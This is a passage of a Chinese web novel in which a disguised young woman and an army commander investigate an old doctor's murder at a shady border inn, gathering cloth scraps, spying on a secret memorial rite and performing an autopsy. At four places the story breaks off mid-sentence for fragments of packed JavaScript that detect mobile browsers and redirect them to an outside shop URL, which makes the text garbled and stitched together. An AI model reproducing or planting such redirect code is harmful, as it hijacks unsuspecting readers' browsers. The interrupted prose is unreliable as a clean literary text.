谢云初接过夕瑶递来的布屑,仔细翻看对比以后,递给柳四看。夕瑶说得对,窗户上的布屑好解释,那门上的是如何留下的呢? “对了,这布屑上面的血迹,我基本能够确认就是老板娘的。” “什么?她身上有伤?那不就是说明凶手是她?”柳四闻言,整个人音调都高了不少。 “不,我们最多只能证明她碰过其中一块布屑,但是凶手是不是她,很不好说。更何况,她要杀白老爷子的动机是什么呢?若说是谋财,白老爷子怕是这个客栈当中最没有什么钱的了,刚刚楼下吃饭的任一客商都有钱得多,杀他做什么?若说寻仇,白老爷子都多少年没下山了,他俩怕是也很难扯上关系啊。” “说得也是。”柳四陷入了沉默。要说杀人动机,他甚至觉得整一个客栈里,似乎也没人会对一个白发苍苍的老大夫有杀人的动机啊。 “那个,”柳四突然想到了什么,“会不会是白老爷子在这个客栈里头无意中听到了或者看到了什么?这云边客栈里头,可有不少生意是上不了台面的。若是真被白老爷子知道了,说不得就引来了杀身之祸。” “也不是没有可能,可是如今我们什么证据都没有,不好妄下判断。” “对了,你刚刚下楼去追查证据,可有什么收获?”夕瑶突然想起来,转头向谢云初问道。 谢云初不知从哪里拿出一个布帕子,一打开,里面是一把什么东西烧过的灰烬。 夕瑶接过,一脸狐疑,“你刚刚把这个藏哪里去了?怎么没被老板娘搜到?”见谢云初笑而不语,夕瑶转头看向柳四。 “将军不说,我可不敢说。”柳四憋着笑,缩了缩脑袋,一脸幸灾乐祸的样子。 夕瑶懒得和这两人啰嗦,双手捧着布帕子,凑在油灯旁边小心翻看。 这灰烬呈片状,虽然被谢云初一把抓起以后有些碎了,但是中间完整的部分还是可以看得出,这是一整块什么东西烧掉留下的。夕瑶两个手指搓了一点在指尖,这质感,似乎不像是纸片,感觉要比纸片燃烧以后的灰烬厚一些。 见夕瑶这样翻看眼睛吃力,谢云初凑上前,双手捧着接过了夕瑶手里的布帕子,“我替你拿着,你看。”他双手拢过来的时候,正好把夕瑶的手捧在了手心里。 外面大雨依旧,屋子里面对着橘黄的灯光,夕瑶感受到了谢云初温暖而干燥的手心,虽然只是一刹那,但是手背上穿过来的热度依旧让她觉得安慰。人在他乡,牵挂着家中的父母,被嘱托的事情又没办好,今夜的夕瑶,强撑着精神分析线索,心里实在是疲惫得不得了。 等自己双手空了出来,夕瑶习惯性地去摸头上的发簪,想拔下来拨弄一下这堆灰,看看里面有没有留下别的什么。只是这次,什么都没有摸到。她是换了男装进店的,这会儿头上只有一根不起眼的发簪,用来固定满头的青丝,这要是拔下来了,头发就没有支撑了。 见夕瑶的动作,谢云初努了努嘴,示意一旁茶桌上的筷子。 夕瑶点点头,拿过一根筷子,换了一头,凑着灯光,仔细拨了拨这堆灰。要说可能也是当时起风了,凶手着急忙慌地没烧透,在灰烬的最下面,还真给她找出来了指甲大小的一块东西。 夕瑶捡了出来,凑着灯光,“咦,好像又是一块布屑。看颜色和质地,和我之前发现的一样。”说着,她把灰里的和原先的两块做了对比,果然,这一块虽然小,边上一圈也烧黑了,但是能看出来,是同一块布上面的。 “所以,凶手在使用过以后,光速将这布块烧掉了?看来,这布似乎是这个案子的关键线索,所以凶手忙不迭地要毁掉它。” 推理到了这里,屋内的三人都陷入了沉默。现在手里的证据太少了,实在得不出什么结论。 “也罢,今天也不早了,咱们都收拾一下早点休息吧。柳四,你帮忙把桌上的碗筷收拾一下,拿回厨房去,然后今夜我俩换班值个夜。这云边客栈,怪事儿太多,还是提防着点儿好。” “我去吧,”夕瑶边说着边站起身,手脚麻利地把碗筷收拾在托盘里,“正好,我去厨房要点热水洗漱用。”见谢云初还是挡在身前,夕瑶有些好笑地说道,“没事的,人家搜身都搜过了,还能无缘无故杀了我不成?”说着,一个绕身,出了门口。 可能确实是有些晚了,大堂里面只有两三桌还稀稀拉拉地在喝着酒,别的桌子上都已经收拾干净了。 夕瑶端着托盘往厨房里走,这会儿,厨房里也没人。炉灶上坐着水,夕瑶把碗筷放在一边,低头看了看灶膛内的炉火,已经被人拨小了,看来一时半活儿,厨房里不会有人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281651|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >雨已经停了,夕瑶看到厨房后头有个小门,半掩着。 其实她心里是知道的,夜黑风高,又是一家黑店,大晚上一个人下来,着实应该把好奇心收一收。可是有时候人就是这么奇怪,她心里仿佛有一个小手,一直在心尖上挠痒痒,又仿佛是有个声音,一直在耳边说着,“去看看啊,说不定有线索呢?错过了,可就看不着啦~” 几乎没花多少时间做思想斗争,夕瑶就决定遵循自己的好奇心。她实在太想破这个案子,也太想了解这个云边客栈了。 夏末秋初的大雨,来得快去得也快,一会儿时间,月亮已经挂上了枝头。夕瑶出了厨房后头的小门,沿着一条蜿蜒的羊场小道一路往前走。往里走得越深,她心里越打鼓。这条小道,说是小道已经是很客气了,其实仔细看,也就是半人多宽的一条极窄的小路。两侧的草木茂密,若不是前面有人走过把部分高过膝盖的草踩倒,放在平时,这条路一眼根本看不出来。即便如此,她一步一步往前走,还得是不是用手一次一次拨开眼前的树枝。 可越是这样,她心里就越兴奋。前面被踩倒的草并没有包裹太多污泥,说明这里是雨停以后才有人走过。也就是说,那人刚走过没多久。 夕瑶心跳得很快,在这漆黑的晚上,她独自一人走在小道上,满耳朵除了吹过的风声以外,仿佛就只有自己的心跳声,如同打鼓一般,砰砰砰砰。有时候,她甚至怀疑是不是有人在跟着自己,可是停下脚步回过头去,却发现什么都没有。 夕瑶继续往前走,大约走了一炷香多一点的时间,她终于看到一块空地。 不,说空地不太准确,因为眼前俨然有两个身影。一个高壮的大个子,边上是一个娇小的身躯。 夕瑶心中疑惑,这大晚上的,如今算算时间,已经是亥末,这两人在这里做什么。 茂密的树木,如今倒是刚好完美遮挡了夕瑶的身影。她站在树影之下,仔细看着眼前的两人。这两人默不作声,甚至连动作都没有,仿佛木偶一般,就这样安静地站着。 时间慢慢过去,不知道过了多久。高壮的身影动了一下,随后传来了略低沉的男声,“姑娘,时间到了。” 时间?夕瑶心里一愣,反应过来,今天是七月十五,中元节。按照江南的说法,在这一天,鬼门大开,过世的灵魂能够有机会回来和家人团聚。不知道在这里是个什么习俗。 只见牡丹听到阿大这样说,点了点头,蹲下身子,把身边一个食盒中的东西一点一点拿出来。 夕瑶远远望去,依稀能看到似乎是一碟一碟的饭菜,还有一壶酒。 牡丹摆好东西以后,拉着阿大跪下,倒出一杯酒,举过头顶,然后缓缓撒入地下,嘴里念着,“阿爷,阿娘,阿弟,还有村子里的父老乡亲们,这么多年了,没想到咱们还有找回清白寻得真相的一日。你们若是今天回来了,看到了,还请保佑我和阿大,让我们找出真相,为大家洗刷冤屈。” 说罢,两人一个头重重磕了下去。 125. 风雨云边 8 夕瑶躲在树影之下,听到牡丹的话,心中一震,家人和一众村民的墓吗?村子里发生过什么?她心中隐隐有了一些不太好的猜想。 又等了好一会儿,前面的两人完成了祭拜,一前一后从小路走了回去,夕瑶才从树后绕了出来。 她又多等了一会儿,眼看着人走远了,悄悄走到两人祭拜的地方。 那是一个小小的土坡,看着像个小坟包却没有墓碑。夕瑶看着这土坡的大小,在心中估算了一下,若是按照刚刚牡丹说的,里面有爹娘,弟弟,还有村子里的父老乡亲,那这个土坡就实在太小了。 她蹲下身子,捡起路边地上的小树枝,轻轻挖了一抔土,捧在手里。借着皎洁的月光,夕瑶仔细分辨着土层,又靠近鼻子嗅了嗅,是陈土。 她把手臂往前伸,想要土放回去,脑子里还回想着刚刚牡丹跪在地上,给家人祭祀的画面。虽然还是那个明艳的长相,但是月光下的牡丹,仿佛是另一个人。 之前在客栈大堂里,她是明媚的,泼辣的;之后她给他们下药,偷溜进上房里,又是狡黠的,聪慧的;而跪在这里的牡丹,尽管夕瑶看不清她的脸,但是仅从背影中,那深深的悲痛,还是让人动容,随着她一个头磕下去,夕瑶隔着老远,都能感觉到那种深到骨子里的悲伤,仿佛自己的心也跟着颤了一颤。 就在夕瑶沉浸于自己思绪中的时候,她隐约感到身后有人的气息。她不敢回头,可是眼角的余光却瞟到有一道身影从背后传来。眼见着影子越来越近,也越来越大,夕瑶心里暗叫“不好,大意了。”可是这会儿,却已经来不及了。 夕瑶心跳得很快,感觉仿佛有一只小青蛙一直在自己的胸口蹦跶,眼看着就要跳出嗓子眼儿了。 终于,在背后的身影将她完全覆盖之时,夕瑶暗中抓回了这把土,然后一个回转起身。 手臂被来人一把紧紧抓住,拳头里握着的沙土也散落了一地。夕瑶看着来人,脸色骤变。 “谢云初,你有病啊,大晚上跟着我干嘛,吓我一跳。”夕瑶被结结实实吓了一大跳,口气自然也不会好到哪里去。 谢云初见她这会儿一副惊恐未定的样子,本想安慰她两句的,但是一想到这姑娘胆子忒大,之前一个人在屋子里,在不知道情形手上没有武器的情况下就敢去开衣柜,今晚又不管不顾一个人就敢往外冲,还是忍不住想要说她两句,“哟,怎么,这会儿一回头看是我,又活过来了?刚刚不是趴在地上吓个半死么?” “谁吓个半死了?”夕瑶抽回自己的手,双手来回掸了掸掌心的土。不得不说,看到来人是谢云初,夕瑶这颗心这这会儿是真的放回肚子里了。她刚刚蹲在地上的时候,看着影子越来越大,还以为来人是阿大呢,心里着急忙慌地在编各种理由。好了,这会儿都用不上了,可以安安心心的了。 她自己也理亏,可是嘴上却不愿意承认,想着怎么把这个事情糊弄过去。 “给你的弩箭这会儿带了吗?”谢云初盯着她的眼睛,问道。 “我交给柳四收起来了,这男士的靴筒太大,不好藏。”夕瑶避开谢云初的眼神,低声回答道。 “那这会儿你晚上出门,夜色这么暗,没人看你的靴筒,为何不带?” “哎呀,不是说了不方便么。再者说,这不是幸亏没带么,刚刚老板娘牡丹来搜身,这要是带在身上,不就露馅儿了。”夕瑶知道谢云初的意思,可是这会儿她惊魂未定,加上心烦意乱的,说话也每个好气。她绕过谢云初,转身就想往回走。 手臂又被一把抓住了。 夕瑶回过身,抬头看着谢云初的眼睛。今晚的月色很亮,可是不知为何,谢云初的眸子,就像是两粒黑曜石,虽然自己不会发光,但是在月色的映照下,闪露着灼灼的光芒,让人移不开眼睛。 “此次出门不比往常,这云边客栈不是一般的客栈,里面的住客也不是一般的贩夫走卒,所以给你的弩箭一定要贴身带着才好。别怕别人会看到,不妨事的,这客栈里,随身带着兵器的人多了去了。关键时刻,这东西可以保命。” 夕瑶今天第二次被教训了,脸上多少是有些火辣辣的,她没吱声,挣扎着手臂想走。怎料谢云初平日里别的事情好说话,但是在这件事情上,不肯后退一毫。 见夕瑶不应声,谢云初拉过她的手臂,“嗯?可记着了。” 两个人一个要走,一个往回拉,一来一回,力道没控制好,夕瑶就这么整个人扑在了谢云初怀里。 雨后的夜风,吹在身上略感凉意,而谢云初的胸口,温暖的,坚实的,那一刹那,让夕瑶想起了下午在屋子里,他帮着自己捧布灰时,掌心的温度。 可能是月光太温柔,也可能是忙了一整日发生了太多事,真的有些累了,这样的夜晚,夕瑶有那么一瞬间,想要在这个胸膛靠一靠。 当然,也只有一瞬间。 理智很快重回夕瑶的脑袋,她站直了身子,转身又想走,突然意识到,自己的手臂还被某人抓在手里。 夕瑶回身望着谢云初,他却丝毫没有要放手的意思。 风更大了,连带着吹起了一旁树丛中的枯叶。两片叶子夹杂着之前的雨水从夕瑶头顶飘过,雨水滴在了夕瑶的额前。 谢云初一手抓着夕瑶的胳膊,另一个手轻轻抬起,拂去了夕瑶额前的水珠。 眼前的两粒黑曜石是如此的耀眼而深沉,几乎一动不动地盯着自己,以至于夕瑶在抬头看了一眼以后,忍不住避开了他的目光。 “回去早些休息,热水我已经让柳四烧了,估计这会儿就放在你屋子里。”谢云初帮夕瑶擦过雨水,放下了胳膊。 “嗯,知道了。”夕瑶见谢云初的另一手还抓着自己,向他投去了疑问的目光。 谢云初不说话,手掌的力道却丝毫未减。 “好了,知道了,我明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337685|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早就带上弩箭,之后出门一定随身带着。” 听到保证,谢云初才松开了手。 两人一前一后走着,自然说起了刚刚夕瑶的见闻。 “你说,这牡丹到底是什么人?从她的言语中看,她仿佛是被灭了族。哦,对了,那个小土坡,我看过了,是陈土,看这大小,似乎不像是个真实的坟墓,似乎是个衣冠冢......” 夕瑶叽叽喳喳说了一路,见谢云初没有动静,忍不住停下脚步。 “我听着呢,这牡丹的身世,在周边一直是个谜,各种说法都有。我派人查过,也没什么详实的信息。但是你今天给的信息很有用,她如果经历过灭族,那反而就好查了。看她的年纪,最多不过30,只要查一查这三十年里,西南这边发生过的灭族或者屠村的记录就可以。” 谢云初说道这里,断了一下,眉头一皱,仿佛是想到了什么。可也就是一瞬,走在前面的夕瑶并未察觉。 “对了,那个阿大,从刚刚祭祀的情况看,可能并不是牡丹的兄弟手足。”夕瑶补充道。 “行,我让人一起查一下。” 两人说着话,一路就走回了云边客栈。 此时时候已晚,牡丹和阿大回去以后,厨房边上的小门自然也就落了锁。好在院落土墙并不算太高,加上夕瑶也窈窕,谢云初带着她,一个云纵梯,也就进了院子。 两人在房门口告了别,谢云初还回头叮嘱,一定要栓好房门,这才目送她回了屋。 夕瑶进了屋子,直奔浴桶。 水温正好,夕瑶加了一些自己随身带着的药油,一股青草混合着果木的香味瞬间在屋子里萦绕。夕瑶把整个身子都沉入水中,连日的疲惫似乎都有了出口。她尤嫌不够,连脑袋一起都埋了下去。 水下,安静而温热,用草药浸出的药油,除了让夕瑶放松以外,也让她犯浑的脑袋在这一刻似乎清明了起来。 白天经历的事情一幕幕在夕瑶的眼前慢速回放。诡异的边境客栈,花枝招展的老板娘和壮如牛的手下,突然离世的师公,被收拾得过于整齐的房间,出现在三个地方的布条,店外隐蔽的衣冠冢,中元节的祭祀...... 夕瑶猛地钻出了水面,大口大口地呼吸。这个案子,她有了新的疑惑,有些事情需要在今晚再确认一下。 夕瑶边洗浴,边整理着思绪。等都弄完,脑袋里的想法也逐渐清晰了。 她跨出浴盆,拿过巾帕草草擦干身上的水,然后用巾帕裹住头发,随手抓过洗浴前挂在屏风上的换洗衣服。 简单套上了衣裳,顾不得发梢还在滴水,她走到和隔壁屋子共用的墙边,轻轻敲了敲墙,“谢云初,你睡了吗?” 隔壁立刻传来了回音,“没有,可是有事?” 夕瑶把心中的想法和谢云初简单说了,一会儿功夫,就听到隔壁传来开门的声音,伴随着极轻的脚步声,谢云初出门了。 126. 风雨云边 9 第二日清早,天刚刚亮了没多久,夕瑶就醒了。 心里藏着事儿,睡觉也不踏实。更不用说,这客栈老旧,商贩们早起搬货什么的,楼板咯吱咯吱的声音,吵得人心烦。 夕瑶简单梳洗以后,敲了敲隔壁的墙,果然,谢云初和柳四比她醒得更早。三人下楼准备用些早饭。 边境小镇的郊区,也没什么吃食,早饭左不过是一些麦饼配稀粥。夕瑶有一搭没一搭地用勺子划拉着碗里的粥,心思却跑远了。 “快吃吧,不然一会儿就凉了,”谢云初说着,往夕瑶的碗里放了一个剥好的鸡蛋,“吃完了,你一会儿还要给老爷子验尸呢”。 夕瑶看着碗里的鸡蛋,一双疑惑的眼神看向谢云初,一回头,刚巧看到老板娘牡丹正和谢云初挤眉弄眼的。夕瑶低头不说话,拿起勺子舀着鸡蛋,狠狠地一口就咬上去。“嗯,热腾腾的鸡蛋,味道还不错,”她心里安慰自己说。 那牡丹呢,原本就没走远,在给旁边桌的客人上早饭,一双耳朵就竖着听谢云初说话呢。一听到要验尸,立马嚷嚷开了,“哎呀,这位小娘子,你要验尸啊?” 她这一嚷嚷,所有人都知道夕瑶是女儿身了。 夕瑶懒得搭理她,低头吃自己的早饭,谢云初蹙着眉,略有些责怪地看着牡丹,却看到对方回了个挑衅的眼神。 出门在外,女扮男装倒是不稀奇,经常有客商的女眷也这样打扮。但是姑娘家要验尸,这还是第一回啊。这下好了,原本吃过了早饭要赶着出门的商贩们都不走了,留下来看热闹。 众人在后院里搭了个木榻,白老爷子如今就躺在这木榻上头。 夕瑶跪在地上,恭恭敬敬地给老爷子磕了头,又上了三柱清香,然后除去老爷子的衣衫,开始验尸。 她和老板娘要来了一桶略烫手的热水和几块全新的巾帕。巾帕入水沾湿,然后小心地敷在老爷子身上。 “这是在干什么啊?”周围围着的人群中传来了声音。 “这你都不知道啊,人死以后尸体僵直,皮肉里头血脉皆不通畅了。这会儿用热水敷上,能够让皮肉里头的血脉软和,有些看不到的淤伤就能浮到表面上。”另一个不知道是谁的声音解释道。 几块巾帕拧下来,夕瑶的一双手被烫得通红。谢云初看不过,接过了帕子,“你说要热敷哪里,我来弄。我皮糙肉厚的,不怕烫。” 夕瑶想了想,将巾帕交了出去,“也好,你敷,我检查,能快些。”又抬头看向柳四,“麻烦你帮忙做个记录。” 接着,人群的中心,就听到夕瑶坚定的声音,“记,死者头部没有外伤,鼻腔无血迹,耳朵内外无孔道。” “记,死者颈部有明显压迫痕迹,能够看到清晰指印。” “记,死者躯干无明显外伤,无瘀痕。” “记,死者手臂无外伤和瘀痕,双手手背出各有一道贯穿手背的压痕。” “记,死者下肢无外伤和瘀痕。” 第一遍检验了尸体的外部,除了颈部有明显压痕以及手背上两道不致命的痕迹以外,全身上下并无别的可疑伤口。 老爷子会不会生前中了毒或者被迷药迷晕了呢? 夕瑶不是很放心,于是开始了第二遍的检查。 她从药箱中取出一粒包裹着蜡皮的药丸,把蜡皮压碎,把药丸放进白老爷子喉咙口。接着用湿布封住老爷子的眼耳鼻口处。 做完了这一步,夕瑶又拿出了一根约两寸长的银针,依次从老爷子的喉咙,胃部,和肚脐下方刺入。 见银针拔出,并无泛黑,夕瑶双手上下交迭,小心地揉压老爷子的腹部。一盏茶的时间过后,夕瑶取下湿布,接着取回老爷子喉咙口的药丸。 她将药丸捣碎,又加入另一种药粉,充分搅拌以后加水继续搅,然后倒在方才用过的白色巾帕上。帕子上的颜色,让夕瑶微微皱了皱眉头,似乎和她想的不一样。但是不管如何,检查结果就是这样。于是她清了清嗓子,说道,“记,用银针探验死者喉,胃和下腹,银针未变黑;封死者五官,用药丸探喉咙,也未发现中毒或者使用过迷药的痕迹。” 说完这一句,夕瑶仿佛用尽了全身的力气。她用力闭了闭眼,缓缓呼出一口气。 为什么呢,到底是为什么呢?凶手是如何在这么短的时间之内,让师公毫无防备,丝毫不还手,任由人掐死? 这个问题从昨晚就开始在她脑子里萦绕。之前她心中还抱有期待,以为师公可能是中了毒,或者中了迷药。虽说白露山的山主,不说能识辨天下药材,一般的毒药或者迷药动不了他分毫,但是没有验尸之前,夕瑶总还是抱着这样的期待。如今,期待落空了。 夕瑶心中的疑惑更大了,仿佛是走近了一个巨大的迷宫,一直在里面绕圈子,怎么都找不到出口。 可能是起身的太猛了,也可能是昨夜就没睡好加上今早起得太早,夕瑶一站起来,只觉得眼前一黑。她本能地向后小小退了一步,右手刚刚好碰到师公露在白布外面的手。 夕瑶泪目,转身轻轻把师公的手放回白布单里。这是一只老人的手,手上除了凸起的青筋以及斑点以外,从食指指根到虎口处,有一道宽约一寸,横贯整个手背的压痕。她刚刚验尸的时候就发现了,这会儿手凉了,压痕也明显淡了许多,只留下隐隐的一道,估计再过一会儿就能彻底看不到了。 夕瑶内心疑惑,这是什么东西造成的呢?若说是提过重物,那压痕一般只在掌心,怎么会在手背呢? 一个多时辰的验尸,让她几乎耗尽了心神。她扶着木榻,慢慢直起了腰。 人群后头,走廊的柱子后,一抹亮色的裙摆很快收了回去。是老板娘牡丹,她刚刚不是说要去收拾厨房么,怎么这会儿躲在柱子后头观察? 夕瑶按下心中的疑惑,站直了对柳四说,“烦请柳四大哥把这份验尸笔记再抄录一份,然后将其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382322|127311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中一份送去县衙,请他们派仵作来复验。” 话音刚落,围着的人群里就传来了稀稀拉拉的反驳之声,“这狗屁县衙,哪里有仵作啊,就是一个老头,每日里灌饱了黄汤,连走路都不利索,还能指望他验尸?” “哦,你说那个老头啊,身上脏兮兮的,日常在县衙附近的酒铺里喝得醉醺醺,走路歪歪扭扭的那个?他不行啦,我这趟路过,就听边上的人说,他喝醉了酒,雨天路滑摔断了腿,这会儿且躺在床上将养呢,来不了。” 柳四带着询问的眼神望向夕瑶。一旁的谢云初拍拍他的肩膀,“还是得跑一趟,总归是出了人命,该报官还是得报官啊,至于县衙能不能派出仵作,就再看吧。”说着,放在柳四肩膀上的手指微微用力。 柳四领命去了,客栈这头,阿大帮着谢云初,把白老爷子抬回房里。这屋子死了人,如今又放了尸首,牡丹跟在后面碎碎念着,不知道这样要损失多少房钱。被谢云初塞过去一个银锭,终于闭上了嘴。 白老爷子被安置在床上,身上依旧盖着白布,等着县衙的回复,看看是要复验还是认可此次的验尸结果。 阿大和谢云初先走出屋子,夕瑶殿后,最后里外看了一圈,准备回屋给父母写信告知此地的情况,就当她抬手关门之时,窗户缝里穿过了一丝凉风,和她手上的门形成了一股小小的吸力,让门板“咚”地一声重重关上了。 这突如其来的一下让夕瑶吓了一个激灵,她赶忙推开门看看,屋子里别的东西可安好。就在推开门的一刹那,她看到屏风的上方,似乎有一个什么东西飘了一下,很快不见踪影。 夕瑶回头看向身后,阿大已经走下楼去,谢云初还在一旁等候。她用眼神示意谢云初和他一起入内,指了指屏风的上方。谢云初个子高挑,这半旧的屏风,高度堪堪只到他的眉毛附近。 他走到屏风前,略略升长脖子,就能看到上面的景象。 “如何?上面可有什么东西?” 谢云初面露疑惑,愣了一会儿,伸出两根手指,轻轻地夹住一缕东西,转身交给了夕瑶。夕瑶从袖子里拿出帕子,垫在下面接过,“好像,也是个布屑,只是这一丝非常细,得回去和另外的仔细对比一下看看。” 见谢云初表情不太对,夕瑶用胳膊轻轻碰了一下他,“怎么了,屏风上面可是有什么东西。” “你自己来看看吧,”说着,谢云初搬过了茶桌旁的圆椅,扶着夕瑶站了上去。 夕瑶身形灵巧,轻扶着谢云初的胳膊,一步就稳稳地站上圆椅。一站上去,她也漏出了和谢云初一模一样的表情。 老旧的屏风,上头多年不曾有人打扫过,积了厚厚一层灰,中间还有些被磨蹭掉的痕迹。但是上端左侧的地方,清清楚楚地能看到四个指印,分别是从食指到尾指。 夕瑶端详了一下指印的大小,然后伸出自己的左手,放了上去。细长的指印,和自己的几乎分毫不差。 127. 风雨云边 10 一个女人的左手指印? 夕瑶心头一震,自然第一时间联想到的是老板娘牡丹。但是冷静下来细想,是不是也有可能是瘦弱的男人的指印呢? 她低头仔细看了看,指印上只有极浅的,几乎可以忽略不计的一点薄灰。相比没被擦到的屏风顶端别处那厚厚一层,这点灰尘表示这个手印极有可能就是这两天留下的。 两人回到自己屋子里,把之前另外三块布屑拿出来对比。果然,无论从颜色还是材质来说,都和之前的一模一样,基本能够确认这第四条布屑也是从同一块布条上勾下来的。 夕瑶思索了一会儿,把布屑一起收好,拿出纸笔,准备给家里写个信。师公过世这么大的事儿,总得和父母说一声。 谢云初见状,不欲打扰,悄悄掩上房门,退了出去。刚才那个手印他也看到了,如此纤细的手指,除了老板娘牡丹以外,只有极瘦小的男人才有可能。刚好,眼看着要吃中午饭了,他下楼点菜,顺带可以趁这个机会观察一下别的住客。 楼下依旧是闹哄哄的,谢云初走到柜台前,假借着看柜台上方木质餐牌,余光向左右两边扫过。一桌一桌,基本都是来往贩货的糙汉,即便其中有几个略瘦小的,那手指也和纤细扯不上什么关系。 谢云初心中数着数,脑袋里光速地把这些住客的名字和他们的房间号联系起来。是的,昨日深夜,夕瑶来敲墙,让他去干的事儿就是查一下,白老爷子入店以后是否一直就住在那个客房里。 既然出去了,查一次也是查,谢云初索性做得彻底点儿。他把近几日驻店的客人名字和房号都抄录了一份交给夕瑶。自然,抄完了,自己脑子里也有了印象。 见还有几个客人没到,他慢悠悠地逛进厨房。 一进门,就看到阿大正在斩肉。说是斩肉,其实不太准确。阿大正在斩的是一只去了皮的山羊。这只山羊,一眼看过去,大约百斤重,可阿大一手就能将山羊拎起来。不仅如此,他一手轻松拎着给山羊翻身,另一只手拿着剁肉刀,一刀下去,整只山羊从中间横着被劈成上下两段。 “好厉害的臂力,”谢云初心中暗叹,忍不住,又看了一会儿。 这阿大,斩羊似乎全无章法,不用半点巧劲儿。一般厨子斩骨,多从骨节相连之处切开,既省力,也不容易留下骨渣,可他全完不在乎,手起刀落,只凭自己一股子蛮劲。 见谢云初在身后看他,他用肩膀擦了擦鼻子上的汗珠,也不理人,自管自继续干活。 谢云初正要往里走,就听到一声嗲嗲的声音,“哎呦,哥儿,你找我啊?”这声音,不用转身就知道是牡丹来了。 谢云初拉了拉嘴角,藏起了眼睛里的探究,“是啊,我看菜牌上有个菜,写着叫海菜,不知这海菜是什么,如何烧法?味道吃起来如何?” “哟,我当是什么事儿呢,”牡丹笑盈盈的一张脸,看起来丝毫不像是店里刚刚有客人离世的样子,“哥儿,这厨房里烟熏火燎的,热得慌,你先去外头坐坐,我一会儿找出来了,给你拿出来看看。” 谢云初心里一顿,“这是明着要把我支出去啊,为何呢?”脸上一点不显,一脸好脾气的样子,“好,我在外头等,麻烦老板娘了。” 也真的就是前后脚的功夫,老板娘拿着一个浅浅的竹筐出来,筐里是一把一把细长条,头上带着黄色小花的东西。“喏,这就是海菜了,是我们西南这边水里特有的一种菜,据来往的客商说,别的地方都吃不到咧。这东西啊,鲜嫩,做个鱼羹,或者同鸡蛋一起炒,味道都不错。” “哥儿,今儿这海菜,你想怎么吃?”说着,老板娘也不顾店里其他人的眼光,一屁股贴着谢云初就坐了下来,“诶,对了,你身旁的这个小娘子,是你的什么人啊?是你的娘子不?”牡丹故意眨了眨眼睛,又朝着谢云初靠近了些。 谢云初常年都在军营里跟着一帮老爷们儿一起生活,即便极偶尔出席宫宴,身旁的女娘们一个个也都是对他避之不及,哪里遇到过这种架势。 他一下子尴尬得手脚都不知怎么摆才好。 “这是怎么了,让你先下来点个菜,你是要点到老板娘身上去了?”就在谢云初不知道要怎么应付的时候,夕瑶从楼梯上走了下来。 早上虽说已经被老板娘点破了女儿身,夕瑶这会儿为着便利,穿的依旧是男装,但是颜色轻快了不少。一身雨过天青蓝的长袍衬得让她清爽秀气,再加上不用刻意用药粉染黄皮肤了,雪白的肌肤配上这一身,活脱脱一个京城美少年的样子。 她站在楼梯中间,看着手脚都不知道怎么放的谢云初,和旁边一脸等着看好戏的牡丹,脑子里飞快闪过一个念头。 众人只见到夕瑶快步走下楼梯,拉过谢云初的袖子就骂,“你个杀千刀的,你不是说你先下来点个菜么,点菜要靠得这么近?你怎么不索性坐到老板娘怀里去算了?” 谢云初若说一开始不明白,一瞬之间,他自然也明白了夕瑶的意图。马上装出一副委屈的样子,“哎呀,你听我说啊,我就是想问问这海菜怎么做嘛,这不是第一次遇到这种菜,新鲜么?” “新鲜,新鲜的恐怕不止这海菜吧?”夕瑶眼神望向紧紧贴着谢云初的牡丹,一副捉奸的样子。 牡丹倒好,丝毫不惊恐,甚至还用手抓了抓谢云初的胳膊,一脸挑衅的表情。 “哎呀,小娘子,你可能不知道,这海菜啊,还有个别名,叫水性杨花。”隔壁的客商正等着下酒菜呢,结果发现,比菜更下酒的可不就是别人家的热闹么。于是忍不住又往这热油锅下添了一把火。 “好啊,水性杨花是吧,这就是你们云边客栈的特色菜了是吧?”夕瑶装出一副吃醋的样子,假模假样撸起袖子就要开战。 “怎么着,这别的地方吃不着,还不许人家哥儿在咱们这里多吃些啊。哥儿,要我说啊,也别选是鱼羹还是炒鸡蛋了,姐姐我两个都做,送你吃。”说着,还给谢云初抛了个媚眼。 谢云初皱着眉头,一副女人打架男人遭殃的表情,一边给牡丹拱手作揖,“老板娘,您少说几句吧,”一遍回身拉着夕瑶,“哎呀,你真的误会了,我真的就是来点个菜。”说着,用眼神光速瞟了一眼厨房,捎带抓着夕瑶胳膊的手上也往厨房的方向用了用力。 夕瑶原本就是借这一出给谢云初解围,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 